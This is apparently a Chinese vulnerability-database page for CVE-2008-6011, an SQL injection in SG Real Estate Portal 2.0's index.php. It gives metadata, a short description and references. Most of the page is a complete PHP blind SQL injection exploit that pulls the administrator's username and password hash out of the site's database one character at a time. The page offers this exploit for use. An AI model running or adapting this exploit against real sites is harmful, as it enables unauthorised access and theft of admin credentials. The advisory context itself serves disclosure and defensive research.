SG Real Estate Portal 'index.php' SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1116290 漏洞类型 SQL注入
发布时间 2008-09-30 更新时间 2009-01-30
CVE编号 CVE-2008-6011 CNNVD-ID CNNVD-200901-454
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/6634
https://www.securityfocus.com/bid/80750
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200901-454
|漏洞详情
SGRealEstatePortal2.0版本中的index.php存在SQL注入漏洞。远程攻击者可以借助page_id参数,执行任意的SQL指令。
|漏洞EXP
<?php
ini_set("max_execution_time",0);
print_r('
###############################################################
#
#      SG Real Estate Portal 2.0 - Blind SQL Injection Exploit  
#                                                          
#      Vulnerability discovered by: Stack    
#      Exploit coded by:            Stack
#      Greetz to:                   All My Freind
#
###############################################################
#                                                          
#Admin Panel: [Target]/SG/
#Usage:       php '.$argv[0].' [Target] [Userid]
#Example :
#php '.$argv[0].' "http://www.site.com/SG/index.php?lang=EN&page_id=[Real id]" 1
#php '.$argv[0].' "http://www.site.com/SG/index.php?lang=EN&page_id=106" 1
#                                                          
###############################################################
');
if ($argc > 1) {
$url = $argv[1];
if ($argc < 3) {
$userid = 1;
} else {
$userid = $argv[2];
}
$r = strlen(file_get_contents($url."+and+1=1"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0"));
$t = abs((100-($w/$r*100)));
echo "\nUsername: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+websiteadmin_admin_users+where+id=".$userid."+limit+0,1),".$i.",1))!=0"));
   if (abs((100-($laenge/$r*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+websiteadmin_admin_users+where+id=".$userid."+limit+0,1),".$j.",1))%3E".$i.""));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+websiteadmin_admin_users+where+id=".$userid."+limit+0,1),".$j.",1))%3E".($i-1).""));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}
echo "\nPassword: ";
for ($j = 1; $j <= 32; $j++) {
   for ($i = 46; $i <= 102; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+websiteadmin_admin_users+where+id=".$userid."+limit+0,1),".$j.",1))%3E".$i.""));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+websiteadmin_admin_users+where+id=".$userid."+limit+0,1),".$j.",1))%3E".($i-1).""));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 102;
      }
   }
}
} else {
echo "\nExploiting failed: By Stack\n";
}
?>

# milw0rm.com [2008-09-30]
|受影响的产品
SG Real Estate Portal SG Real Estate Portal 2.0
|参考资料

来源:XF
名称:sgrealestateportal-index-sql-injection(45568)
链接:http://xforce.iss.net/xforce/xfdb/45568
来源:BID
名称:31489
链接:http://www.securityfocus.com/bid/31489
来源:MILW0RM
名称:6634
链接:http://www.milw0rm.com/exploits/6634
来源:MILW0RM
名称:6631
链接:http://www.milw0rm.com/exploits/6631